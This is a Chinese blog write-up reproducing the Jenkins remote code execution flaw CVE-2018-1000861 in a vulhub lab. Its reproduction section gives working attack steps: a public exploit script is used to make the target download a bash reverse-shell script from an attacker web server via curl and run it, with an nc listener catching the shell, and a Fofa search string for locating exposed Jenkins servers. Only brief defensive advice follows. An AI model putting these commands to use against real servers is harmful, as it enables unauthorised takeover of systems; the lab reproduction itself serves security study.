Jenkins远程命令执行漏洞(CVE-2018-1000861复现)
1. 漏洞描述
Jenkins使用Stapler框架開發,其允許用戶通過URL PATH來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。
通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權用戶可執行任意命令:Jenkins在沙盒中執行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意命令。
2.環境搭建
直接使用vulhub上的環境
(1) 下載vulhub項目,然后進入到 vulhub/jenkins/CVE-2018-1000861目錄下
(2) 執行命令:docker-compose up -d
(3)訪問:http://192.168.222.143:8080/
3.漏洞復現
此漏洞沒有回顯,直接利用orange的exp執行命令反彈shell
orang的exp
https://github.com/orangetw/awesome-jenkins-rce-2019(1).在我們的web服務器寫txt文本內容為:
bash -i >& /dev/tcp/*.*.*.*/2333 0>&1(2).使用exp.py執行以下命令下載文件
python exp.py http://192.168.222.143:8080/ "curl -o /tmp/1.sh http://192.168.0.103:85/1.txt"(3).然后在我們接收shell的機器上監聽之前寫的端口
nc -lvvp 2333(4).直接bash執行我們下載的腳本
python exp.py http://192.168.222.143:8080/ "bash /tmp/1.sh"(5).回到監聽端口的機器
可以看到已經成功獲取到了shell
4. 漏洞指紋
Jenkins
5. Fofa Dork
app="Jenkins"
6. 防護方法
1.設置強口令
2.盡量不要開放到公網
3.限制來源IP
4.升級到最新版
總結
以上是生活随笔為你收集整理的Jenkins远程命令执行漏洞(CVE-2018-1000861复现)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ActiveMQ broker 集群,
- 下一篇: pid算法通俗解释,平衡车,倒立摆,适合